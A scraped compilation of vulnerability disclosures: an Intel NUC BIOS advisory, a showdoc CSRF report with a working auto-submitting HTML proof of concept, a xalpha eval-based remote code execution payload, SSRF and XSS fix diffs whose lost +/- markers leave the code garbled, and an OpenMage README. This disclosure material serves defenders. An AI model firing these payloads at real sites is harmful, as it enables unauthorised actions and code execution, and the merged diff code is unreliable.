Improper access control for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable denial of service via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel ® NUC BIOS Firmware Advisory**

Intel ID:

INTEL-SA-00777

Advisory Category:

Firmware

Impact of vulnerability:

Escalation of Privilege, Denial of Service, Information Disclosure

Severity rating:

HIGH

Original release:

05/09/2023

Last revised:

05/09/2023

**Summary:**

Potential security vulnerabilities in some Intel® NUC firmware may allow escalation of privilege, denial of service or information disclosure.  Intel is releasing firmware updates to mitigate these potential vulnerabilities.

**Vulnerability Details:**

CVEID: CVE-2022-36339

Description: Improper input validation in firmware for Intel(R) NUC 8 Compute Element, Intel(R) NUC 11 Compute Element, Intel(R) NUC 12 Compute Element may allow a privileged user to enable escalation of privilege via local access.

CVSS Base Score: 7.5 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2022-34147

Description: Improper input validation in BIOS firmware for some Intel(R) NUC 9 Extreme Laptop Kits, Intel(R) NUC Performance Kits, Intel(R) NUC Performance Mini PC, Intel(R) NUC 8 Compute Element, Intel(R) NUC Pro Kit, Intel(R) NUC Pro Board, and Intel(R) NUC Compute Element may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.5 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2022-28699

Description: Improper input validation for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.5 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVEID: CVE-2023-22312

Description: Improper access control for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.2 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

CVEID: CVE-2022-32766

Description: Improper input validation for some Intel(R) BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.2 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N

CVEID: CVE-2022-37327

Description: Improper input validation in BIOS firmware for Intel(R) NUC, Intel(R) NUC Performance Kit, Intel(R) NUC Performance Mini PC, Intel(R) NUC 8 Compute Element, Intel(R) NUC Pro Kit, Intel(R) NUC Pro Board, Intel(R) NUC 11 Compute Element, Intel(R) NUC 12 Compute Element, Intel(R) NUC Extreme, Intel(R) NUC 12 Extreme Compute Element, Intel(R) NUC Laptop Kit, Intel(R) NUC Enthusiast, Intel(R) NUC Essential, Intel(R) NUC Laptop Kit, Intel(R) NUC Extreme Compute Element, Intel(R) NUC Boards, Intel(R) NUC Pro Compute Element, Intel(R) NUC Rugged may allow a privileged user to enable information disclosure via local access.

CVSS Base Score: 6.1 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N

CVEID: CVE-2023-25771

Description: Improper access control for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable denial of service via local access.

CVSS Base Score: 5.8 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:H

CVEID: CVE-2022-32582

Description: Improper access control in firmware for some Intel(R) NUC Boards, Intel(R) NUC 11 Performance Kit, Intel(R) NUC 11 Performance Mini PC, Intel(R) NUC Pro Compute Element may allow a privileged user to potentially enable denial of service via local access.

CVSS Base Score: 5.3 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H

CVEID: CVE-2022-31477

Description: Improper initialization for some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable information disclosure via local access.

CVSS Base Score: 4.0 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N

CVEID: CVE-2022-32577

Description: Improper input validation in BIOS Firmware for some Intel(R) NUC Kits before version PY0081 may allow a privileged user to potentially enable information disclosure or denial of service via local access

CVSS Base Score: 3.4 Low

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

**Affected Products:**

**Product**

**Download Link**

**CVE ID**

**Intel® NUC 9 Extreme Laptop Kits:  
**LAPQC71A, LAPQC71B, LAPQC71C, LAPQC71D

QCCFL357.0158

CVE-2022-34147

**Intel® NUC Performance Kit, Intel® NUC Performance Mini PC:**

NUC10i3FNH, NUC10i3FNHF, NUC10i3FNHFA, NUC10i3FNHJA, NUC10i3FNHN, NUC10i3FNK, NUC10i3FNKN, NUC10i5FNH, NUC10i5FNHCA, NUC10i5FNHF, NUC10i5FNHJA, NUC10i5FNHJ, NUC10i5FNHN, NUC10i5FNK, NUC10i5FNKN, NUC10i5FNKPA, NUC10i5FNKP, NUC10i7FNH, NUC10i7FNHAA, NUC10i7FNHC, NUC10i7FNHJA, NUC10i7FNHN, NUC10i7FNK, NUC10i7FNKN, NUC10i7FNKP, NUC10i7FNKPA

FNCML357.0059

CVE-2022-34147  
CVE-2022-37327

**Intel® NUC 8 Compute Element:**

CM8i3CB4N, CM8i5CB8N, CM8i7CB8N, CM8CCB4R, CM8PCB4R

CBWHL357.0101

CVE-2022-34147  
CVE-2022-36339  
CVE-2022-37327  
CVE-2023-25771

**Intel® NUC Pro Kit, Intel NUC Pro Board:**

NUC8i3PNB, NUC8i3PNH, NUC8i3PNK

PNWHL357.0050

CVE-2022-34147  
CVE-2022-37327  
CVE-2023-25771

**Intel® NUC Extreme Kit, Intel NUC Compute Element:**

NUC9i5QN, NUC9i7QN, NUC9i9QN

QXCFL579.0071

CVE-2022-34147

**Intel® NUC 11 Performance Kit, Intel NUC 11 Performance Mini PC:**

NUC11PAHi3, NUC11PAHi30Z, NUC11PAKi3, NUC11PAHi5, NUC11PAHi50Z, NUC11PAKi5, NUC11PAQi50WA, NUC11PAHi7, NUC11PAHi70Z, NUC11PAKi7, NUC11PAQi70QA

PATGL357.0050

CVE-2022-32582  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC 11 Compute Element:**

CM11EBi38W, CM11EBi58W, CM11EBi716W, CM11EBC4W

EBTGL357.0071

CVE-2022-36339  
CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Kit:**

NUC5CPYH, NUC5PGYH, NUC5PPYH

PYBSWCEL.0081

CVE-2022-32577

**Intel® NUC 12 Compute Element:**

ELM12HBi3, ELM12HBi5, ELM12HBi7, ELM12HBC

HBADL357.0052

CVE-2022-36339  
CVE-2022-37327

**Intel® NUC Extreme, Intel® NUC 12 Extreme Compute Element**:

NUC12DCMi7, NUC12EDBi7, NUC12DCMi9, NUC12EDBi9

EDADL579.0056

CVE-2022-37327

**Intel® NUC Laptop Kit:**

LAPRC510, LAPRC710

RCADL357.0060

CVE-2022-37327

**Intel® NUC Pro Board, Intel® NUC Pro Kit:**

NUC12WSBi3, NUC12WSBi30Z, NUC12WSHi3, NUC12WSHi30L, NUC12WSHi30Z, NUC12WSKi3, NUC12WSKi30Z, NUC12WSBi5, NUC12WSBi50Z, NUC12WSHi5, NUC12WSHi50Z, NUC12WSKi5, NUC12WSKi50Z, NUC12WSBi70Z, NUC12WSHi7, NUC12WSHi70Z, NUC12WSKi7, NUC12WSKi70Z

WSADL357.0086

CVE-2022-37327

**Intel® NUC Laptop Kits**:

LAPAC71H, LAPAC71G

ACADL357.0059

CVE-2022-37327

**Intel® NUC Enthusiast:**

NUC12SNKi72, NUC12SNKi72VA

SNADL357.0056

CVE-2022-37327

**Intel® NUC Essential:**

NUC11ATBC4, NUC11ATKC2, NUC11ATKC2, NUC11ATKC4, NUC11ATKPE

ATJSLCPX.0038

CVE-2022-37327

**Intel® NUC Laptop Kit:**

LAPBC510, LAPBC710

BCTGL357.0078

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Laptop Kit:** LAPKC51E, LAPKC71E  
LAPKC71F

KCTGL357.0044

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Extreme Compute Element:**

NUC11BTMi7, NUC11DBBi7, NUC11BTMi9, NUC11DBBi9

DBTGL579.0065

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Boards:**

NUC11TNBi3, NUC11TNBi30Z, NUC11TNHi3, NUC11TNHi30L, NUC11TNHi30P, NUC11TNHi30Z, NUC11TNKi3, NUC11TNKi30Z, NUC11TNBi5, NUC11TNBi50Z, NUC11TNHi5, NUC11TNHi50L, NUC11TNHi50W, NUC11TNHi50Z, NUC11TNKi5, NUC11TNKi50Z, NUC11TNBi7, NUC11TNBi70Z, NUC11TNHi7, NUC11TNHi70L, NUC11TNHi70Q, NUC11TNHi70Z, NUC11TNKi7, NUC11TNKi70Z

TNTGL357.0070

CVE-2022-37327  
CVE-2022-32582

**Intel® NUC**:

NUC11PHKi7C, NUC11PHKi7CAA

PHTGL579.0071

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-31477

**Intel® NUC Pro Compute Element:**

NUC9V7QNB, NUC9V7QNX, NUC9VXQNB, NUC9VXQNX

QNCFLX70.0071

CVE-2022-37327  
CVE-2022-32582  
CVE-2023-25771

**Intel® NUC Rugged Kit:**

NUC8CCHB, NUC8CCHBN, NUC8CCHKRN, NUC8CCHKR

CHAPLCEL.0061

CVE-2022-37327  
CVE-2023-22312  
CVE-2022-28699

**Intel® NUC Mini PC, Intel® NUC Enthusiast, Intel® NUC Kit:**

NUC8i5BEHFA, NUC8i3BEHFA, NUC8i5BEKPA, NUC8i7BEHGA, NUC8i7BEKQA, NUC8i7BEH, NUC8i5BEK, NUC8i5BEH, NUC8i3BEK, NUC8i3BEH, NUC8i7BEK, NUC8i5BEHS, NUC8i3BEHS

BECFL357.0092

CVE-2023-25771

**Intel® NUC Business, Intel® NUC Enthusiast, Intel® NUC Kit:**

NUC8i7HNKQC, NUC8i7HVKVA, NUC8i7HVKVAW, NUC8i7HVK, NUC8i7HNK

HNKBKi70.0070

CVE-2023-25771  
CVE-2022-28699

**Intel® Compute Element:**

STK2mv64CC

CCSKLm5v.0067

CVE-2023-25771  
CVE-2022-28699  
CVE-2022-32766

**Intel® NUC 7 Essential, Intel® NUC Kit:**

NUC7CJYSAMN, NUC7CJYSAL, NUC7CJYHN, NUC7PJYHN, NUC7PJYH, NUC7CJYH

AYAPLCEL.0074

CVE-2023-25771  
CVE-2022-28699

**Intel® NUC Mini PC, Intel® NUC Kit, Intel® NUC Enthusiast, Intel® NUC Board:**

NUC7i5BNHXF, NUC7i3BNHXF, NUC7i5BNKP, NUC7i5BNHX1, NUC7i5BNH, NUC7i3BNK, NUC7i5BNK, NUC7i7BNH, NUC7i3BNH, NUC7i7BNHX1, NUC7i7BNHXG, NUC7i3BNHX1, NUC7i7BNKQ, NUC7i3BNB, NUC7i5BNB, NUC7i7BNB

BNKBL357.0089

CVE-2023-25771

**Intel® NUC Mini PC:**

NUC8i3CYSM, NUC8i3CYSN

CYCNLi35.0054

CVE-2023-25771

**Intel® NUC Kit, Intel® NUC Mini PC:**

NUC8i7INH, NUC8i5INH, NUC8i7INH, NUC8i5INH

INWHL357.0047

CVE-2023-25771  
CVE-2022-28699

**Intel® NUC Pro Kit, Intel® NUC Pro Board, Intel® NUC Pro Mini PC**:

NUC11TNKv50Z, NUC11TNHv70L, NUC11TNHv50L, NUC11TNKv5, NUC11TNKv7, NUC11TNHv5, NUC11TNHv7, NUC11TNBv7, NUC11TNBv5, NUC11TNKv5, NUC11TNKv7

TNTGLV57.0071

CVE-2023-22312  
CVE-2022-31477

**Intel® NUC 7 Essential, Intel® NUC Kit:**

NUC7CJYSAMN, NUC7CJYSAL, NUC7CJYHN, NUC7PJYHN, NUC7PJYH, NUC7CJYH

JYGLKCPX.0069

CVE-2023-25771  
CVE-2022-28699

**  
Recommendations:  
**

Intel recommends that users update to the latest version (see provided table).  
 

**Acknowledgements:**

Intel would like to thank Yngweijw (Jiawei Yin) for reporting these issues.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

05/09/2023

Initial Release

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-25771: INTEL-SA-00777

showdoc is vulnerable to Cross-Site Request Forgery (CSRF)

**Description**

An attacker is able to create a new group for any item if users visit the attacker's website. Furthermore, the user-id "uid" is also exposed via the JSON response.

We can bypass the CSRF Protection if we put our payload on an iframe or an HTML file and then send them to the victim.

**Proof of Concept**

`Poc.html`

    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="https://www.showdoc.com.cn/server/index.php?s=/api/itemGroup/save" method="POST">
          <input type="hidden" name="group_name" value="testcsrf" />
          <input type="hidden" name="id" value="" />
          <input type="hidden" name="item_ids" value="1704644990568304" />
          <input type="submit" value="Submit request" />
        </form>
        <script>
          document.forms[0].submit();
        </script>
      </body>
    </html>
    

**Steps to Reproduce**

1.Open the `PoC.html` in any browser.  
2.Now you can check that a new group named `testcsrf` is created with the item that has `id=1704644990568304` is added to that group.  
Furthermore, the user id `uid` is also exposed via the JSON response:

    {"error_code":0,"data":{"id":"2002","uid":"359287","group_name":"testcsrf","item_ids":"1704644990568304","s_number":"0","created_at":"2021-11-21 12:10:25","updated_at":"2021-11-21 12:10:25"}}
    

**Video PoC**

You can check my video PoC here: PoC

**Impact**

This can result in the exposure of data or unintended code execution.

CVE-2021-4017: Cross-Site Request Forgery (CSRF) in showdoc

snipe-it is vulnerable to Server-Side Request Forgery (SSRF)

@@ -162,27 +162,34 @@ public function ldaptestlogin(Request $request, LdapAd $ldap)

  

public function slacktest(Request $request)

{

$slack = new Client(\[

'base\_url' => e($request\->input('slack\_endpoint')),

'defaults' => \[

'exceptions' => false,

\],

\]);

  

$payload = json\_encode(

\[

'channel' => e($request\->input('slack\_channel')),

'text' => trans('general.slack\_test\_msg'),

'username' => e($request\->input('slack\_botname')),

'icon\_emoji' => ':heart:',

  

// Only attempt the slack request if the validation passes

if ($request\->validate(\[

'slack\_endpoint' => 'url|required\_with:slack\_channel|starts\_with:https://hooks.slack.com|nullable',

'slack\_channel' => 'required\_with:slack\_endpoint|starts\_with:#|nullable',

\])) {

$slack = new Client(\[

'base\_url' => e($request\->input('slack\_endpoint')),

'defaults' => \[

'exceptions' => false,

\],

\]);

  

try {

$slack\->post($request\->input('slack\_endpoint'), \['body' => $payload\]);

$payload = json\_encode(

\[

'channel' => e($request\->input('slack\_channel')),

'text' => trans('general.slack\_test\_msg'),

'username' => e($request\->input('slack\_botname')),

'icon\_emoji' => ':heart:',

\]);

  

return response()->json(\['message' => 'Success'\], 200);

} catch (\\Exception $e) {

return response()->json(\['message' => 'Oops! Please check the channel name and webhook endpoint URL. Slack responded with: '.$e\->getMessage()\], 400);

try {

$slack\->post($request\->input('slack\_endpoint'), \['body' => $payload\]);

  

return response()->json(\['message' => 'Success'\], 200);

} catch (\\Exception $e) {

return response()->json(\['message' => 'Oops! Please check the channel name and webhook endpoint URL. Slack responded with: '.$e\->getMessage()\], 400);

}

}

  

return response()->json(\['message' => 'Something went wrong :( '\], 400);

CVE-2021-4075: Merge pull request #10394 from snipe/fixes/add_stricter_validation_fo… · snipe/snipe-it@4612b9e

FUDforum 3.1.1 is vulnerable to Stored XSS.

@@ -1,6 +1,6 @@ <?php /\*\* \* copyright : (C) 2001-2021 Advanced Internet Designs Inc. \* copyright : (C) 2001-2022 Advanced Internet Designs Inc. \* email : forum@prohost.org \* $Id$ \* @@ -38,6 +38,13 @@ function validate\_email($email)  
function encode\_subject($text) { /\* HTML entities check. \*/ if (strpos($subj, '&') !== false) { $subj = html\_entity\_decode($subj); }  
$text = htmlspecialchars($text); // Prevent XSS like <img src="1" onerror="alert()"\>  
if (preg\_match('!\[\\x7f-\\xff\]!', $text)) { $text = '\=?{TEMPLATE: iemail\_CHARSET}?B?'. base64\_encode($text) .'?='; } @@ -51,11 +58,6 @@ function send\_email($from, $to, $subj, $body, $header='', $munge\_newlines=1) return 0; }  
/\* HTML entities check. \*/ if (strpos($subj, '&') !== false) { $subj = html\_entity\_decode($subj); }  
if ($header) { $header = "\\n" . str\_replace("\\r", '', $header); } @@ -66,11 +68,11 @@ function send\_email($from, $to, $subj, $body, $header='', $munge\_newlines=1) $addronly = preg\_replace('/.\*</', '<', $from); // RFC 2822 Return-Path: <...> $header = 'From: '. $from ."\\nReturn-Path: ". $addronly ."\\nUser-Agent: FUDforum/". $GLOBALS\['FORUM\_VERSION'\] . $extra\_header . $header;  
$subj = encode\_subject($subj); $body = str\_replace("\\r", '', $body); if ($munge\_newlines) { $body = str\_replace('\\n', "\\n", $body); } $subj = encode\_subject($subj);  
// Call PRE mail plugins. if (defined('plugins')) { @@ -90,7 +92,7 @@ function send\_email($from, $to, $subj, $body, $header='', $munge\_newlines=1) } $smtp = new fud\_smtp; $smtp\->msg = str\_replace(array('\\n', "\\n."), array("\\n", "\\n.."), $body); $smtp\->subject = encode\_subject($subj); $smtp\->subject = $subj; $smtp\->to = $to; $smtp\->from = $from; $smtp\->headers = $header;

CVE-2022-28545: Fix XSS vulnerability reported by ptsecurity.com (attacker tries to s… · fudforum/FUDforum@aed6966

xalpha v0.11.4 is vulnerable to Remote Command Execution (RCE).

Vulnerability Product: xalpha v0.11.4 ~ v0.11.8  
Vulnerability version: v0.11.4 ~ v0.11.8  
Vulnerability type: Remote Command Execute  
Vulnerability Details:  
Vulnerability location: xalpha/info.py -> fundinfo.\_basic\_init

without verifying the code user input and using dangerous function eval();, causes rce in xalpha v0.11.4 ~ v0.11.8 at xalpha/info.py -> fundinfo.\_basic\_init  

payload = ../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073_ Data_netWorthTrend = {your rce python command}; &_=1688890155531#

test\_payload = ../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073_ Data_netWorthTrend = print('hacked'); &_=1688890155531#

let's take the latest version released in the Github v0.11.4 as an example  
firstly pip3 install xalpha==0.11.4

    pip3 install xalpha==0.11.4
    

secondly import xalpha

thirdly call xalpha.fundinfo("../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073\_ Data\_netWorthTrend = print('hacked'); &\_=1688890155531#")  
here take the test\_payload as argument of the function

xalpha.fundinfo("../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073\_ Data\_netWorthTrend = print('hacked'); &\_=1688890155531#")

folloing you could see, it successfully run the py code  

proved rce  
Also you can prove rce in version 0.11.8, but v0.11.4 is a stable version

reason:  
the self.url could be relocate path to / by ..  
  
if you input the test\_payload ../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073_ Data_netWorthTrend = print('hacked'); &_=1688890155531#, the path will be relocated to /gaoduan/PinzhongRightApi.aspx and callback, the re.match only check the body of response  
  
never check the position of data  
  
so causes rce

discovered by leeya\_bug

CVE-2023-37659: [Warning] RCE in xalpha v0.11.4 ~ v0.11.8 · Issue #175 · refraction-ray/xalpha

Magneto LTS (Long Term Support) is a community developed alternative to the Magento CE official releases. Versions prior to 19.4.22 and 20.0.19 are vulnerable to Cross-Site Request Forgery. The password reset form is vulnerable to CSRF between the time the reset password link is clicked and user submits new password. This issue is patched in versions 19.4.22 and 20.0.19. There are no workarounds.

**README**

    

**Magento - Long Term Support**

This repository is the home of an **unofficial** community-driven project. It's goal is to be a dependable alternative to the Magento CE official releases which integrates improvements directly from the community while maintaining a high level of backwards compatibility to the official releases.

**Pull requests with bug fixes and security patches from the community are encouraged and welcome!**

**Table of contents**

*   Requirements
    *   Optional
*   Installation
    *   Manual Install
    *   Composer
    *   Git
*   Secure your installation
    *   Apache .htaccess
    *   Nginx
*   Changes
    *   Between Magento 1.9.4.5 and OpenMage 19.x
    *   Between OpenMage 19.4.18 / 20.0.16 and 19.4.19 / 20.0.17
    *   Since OpenMage 19.5.0 / 20.1.0
    *   New Config Options
    *   New Events
    *   Changes to SOAP/WSDL
*   Development Environment with ddev
*   Development with PHP 8.1
*   PhpStorm Factory Helper
*   Versioning
*   Public Communication
*   Maintainers
*   License
*   Contributors

**Requirements**

*   PHP 7.3+ (PHP 8.0 is supported, PHP 8.1 is work in progress)
    
*   MySQL 5.6+ (8.0+ recommended) or MariaDB
    
*   PHP extension intl since 1.9.4.19 & 20.0.17
    
*   Command patch 2.7+ (or gpatch on MacOS/HomeBrew) since 1.9.5.0 & 20.1.0
    

**Please be aware that although OpenMage is compatible that one or more extensions may not be.**

**Optional**

*   Redis 5+ (6.x recommended, latest verified compatible 6.0.7 with 20.x)

**Installation****Manual Install**

Download the latest release archive and extract it over your existing install. **Important:** you must download the ZIP file from a tagged version on the releases page, otherwise there will be missing dependencies.

**Composer**

Step 1: Create a new composer project:

composer init

Step 2: Configure composer. **The below options are required.** You can see all options here.

# Allow composer to apply patches to dependencies of magento-lts
composer config --json extra.enable-patching true

# Configure Magento core composer installer to use magento-lts as the Magento source package
composer config extra.magento-core-package-type magento-source

# Configure the root directory that magento-lts will be installed to, such as "pub", "htdocs", or "www"
composer config extra.magento-root-dir pub

Step 3: Require magento-core-composer-installer:

# PHP 7
composer require "aydin-hassan/magento-core-composer-installer":"~2.0.0"

# PHP 8
composer require "aydin-hassan/magento-core-composer-installer":"^2.1.0"

Note: be sure to select y if composer asks you to trust aydin-hassan/magento-core-composer-installer.

Step 4: Require magento-lts:

# OpenMage v19
composer require "openmage/magento-lts":"^19.4.0"

# OpenMage v20
composer require "openmage/magento-lts":"^20.0.0"

Note: be sure to select y if composer asks you to trust magento-hackathon/magento-composer-installer or cweagans/composer-patches.

To install the latest development version (may be unstable):

# OpenMage v19
composer require "openmage/magento-lts":"1.9.4.x-dev"

# OpenMage v20
composer require "openmage/magento-lts":"20.0.x-dev"

**Git**

If you want to contribute to the project:

git init
git remote add origin https://github.com/<YOUR GIT USERNAME\>/magento-lts
git pull origin main
git remote add upstream https://github.com/OpenMage/magento-lts
git pull upstream 1.9.4.x
git add -A && git commit

More Information

**Secure your installation**

Don't use common paths like /admin for OpenMage Backend URL. Don't use the path in _robots.txt_ and keep it secret. You can change it from Backend (System / Configuration / Admin / Admin Base Url) or by editing _app/etc/local.xml_:

<config\>
    <admin\>
        <routers\>
            <adminhtml\>
                <args\>
                    <frontName\><!\[CDATA\[admin\]\]></frontName\>
                </args\>
            </adminhtml\>
        </routers\>
    </admin\>
</config\>

Don't use common file names like api.php for OpenMage API URLs to prevent attacks. Don't use the new file name in _robots.txt_ and keep it secret with your partners. After renaming the file you must update the webserver configuration as follows:

**Apache .htaccess**

    RewriteRule ^api/rest api.php?type=rest [QSA,L]
    

**Nginx**

    rewrite ^/api/(\w+).*$ /api.php?type=$1 last;`
    

**Changes**

Most important changes will be listed here, all other changes since 19.4.0 can be found in release notes.

**Between Magento 1.9.4.5 and OpenMage 19.x**

*   bug fixes and PHP 7.x, 8.0 and 8.1 compatibility
*   added config cache for system.xml (#1916)
*   search for "NULL" in backend grids (#1203)
*   removed lib/flex containing unused ActionScript "file uploader" files (#2271)
*   Mage\_Catalog\_Model\_Resource\_Abstract::getAttributeRawValue() now returns '0' instead of false if the value stored in the database is 0 (#572)
*   removed modules:
    *   Mage_Backup (#2811)
    *   Mage_Compiler
    *   Mage_GoogleBase
    *   Mage_PageCache (#2258)
    *   Mage_Xmlconnect
    *   Phoenix_Moneybookers

_If you rely on those modules you can reinstall them with composer:_

*   Mage_Backup: composer require openmage/module-mage-backup
*   Mage_PageCache: composer require openmage/module-mage-pagecache

**Between OpenMage 19.4.18 / 20.0.16 and 19.4.19 / 20.0.17**

*   PHP extension intl is required

**Between OpenMage 19.x and 20.x**

Do not use 20.x.x if you need IE support.

*   removed IE conditional comments, IE styles, IE scripts and IE eot files (#1073)
*   removed frontend default themes (default, modern, iphone, german, french, blank, blue) (#1600)
*   fixed incorrect datetime in customer block ($useTimezone parameter) (#1525)
*   added redis as a valid option for global/session_save (#1513)
*   reduce needless saves by avoiding setting _hasDataChanges flag (#2066)
*   removed support for global/sales/old_fields_map defined in XML (#921)
*   enabled website level config cache (#2355)
*   make overrides of Mage\_Core\_Model\_Resource\_Db\_Abstract::delete respect parent api (#1257)

For full list of changes, you can compare tags.

**Since OpenMage 19.5.0 / 20.1.0**

Most of the 3rd party libraries/modules that were bundled in our repository were removed and migrated to composer dependencies. This allows for better maintenance and upgradability.

Specifically:

*   phpseclib, mcrypt_compat, Cm_RedisSession, Cm_Cache_Backend_Redis, Pelago_Emogrifier (#2411)
*   Zend Framework 1 (#2827)

If your project uses OpenMage through composer then all dependencies will be managed automatically.  
If you just extracted the release zip/tarball in your project's main folder then be sure to:

*   remove the old copy of aforementioned libraries from your project, you can do that with this command:
    
    rm -rf app/code/core/Zend lib/Cm lib/Credis lib/mcryptcompat lib/Pelago lib/phpseclib lib/Zend
    
*   download the new release zip file that is named openmage-VERSIONNUMBER.zip, this one is built to contain the vendor folder generated by composer, with all the dependencies in it
    
*   extract the zip file in your project's repository as you always did
    

We also decided to remove our Zend\_DB patches (that were stored in app/code/core/Zend) because they were very old and not compatible with the new implementations made by ZF1-Future, which is much more advanced and feature rich. This may generate a problem with \`Zend\_Db\_Select' statements that do not use 'Zend\_Db\_Expr' to quote expressions. If you see SQL errors after upgrading please remember to check for this specific issue in your code.

**New Config Options**

*   admin/design/use_legacy_theme
*   admin/global_search/enable
*   admin/emails/admin_notification_email_template
*   catalog/product_image/progressive_threshold
*   catalog/search/search_separator
*   dev/log/max_level
*   newsletter/security/enable_form_key
*   sitemap/category/lastmod
*   sitemap/page/lastmod
*   sitemap/product/lastmod

**New Events**

*   adminhtml_block_widget_form_init_form_values_after
*   adminhtml_block_widget_tabs_html_before
*   adminhtml_sales_order_create_save_before
*   checkout_cart_product_add_before
*   sitemap_cms_pages_generating_before
*   sitemap_urlset_generating_before

Full list of events

**Changes to SOAP/WSDL**

Since 19.4.17/20.0.15 we changed the targetNamespace of all the WSDL files (used in the API modules), from Magento to OpenMage. If your custom modules extends OpenMage's APIs with a custom WSDL file and there are some hardcoded targetNamespace="urn:Magento" strings, your APIs may stop working.

Please replace all occurrences of

    targetNamespace="urn:Magento"
    

with

    targetNamespace="urn:OpenMage"
    

or alternatively

    targetNamespace="urn:{{var wsdl.name}}"
    

to avoid any problem.

To find which files need the modification you can run this command from the root directory of your project.

grep -rn 'urn:Magento' --include \\\*.xml

**Development Environment with DDEV**

*   Install ddev
*   Clone the repository as described in installation (Git)
*   Create a ddev config, defaults should be good for you
    
    ddev config
    
*   Open .ddev/config.yaml and change the php version to your needs
*   Download and start the containers
    
    ddev start
    
*   Open your site in browser
    
    ddev launch
    

**Development with PHP 8.1**

Deprecation errors are supressed by default.

If you want to work on PHP 8.1 support, set environment variable DEV_PHP_STRICT to 1, to show all errors.

**PhpStorm Factory Helper**

This repo includes class maps for the core Magento files in .phpstorm.meta.php. To add class maps for installed extensions, you have to install N98-magerun and run command:

n98-magerun.phar dev:ide:phpstorm:meta

You can add additional meta files in this directory to cover your own project files. See PhpStorm advanced metadata for more information.

**Versioning**

Though Magento does **not** follow Semantic Versioning we aim to provide a workable system for dependency definition.

**Public Communication**

*   Discord (maintained by Flyingmana)

**Maintainers**

*   Daniel Fahlke
*   David Robinson
*   Fabrizio Balliano
*   Lee Saferite
*   Mohamed Elidrissi
*   Ng Kiat Siong
*   Sven Reichel
*   Tymoteusz Motylewski

**License**

*   OSL v3.0
*   AFL v3.0

**Contributors ✨**

Thanks goes to these wonderful people (emoji key):

  
**sv3n**

  
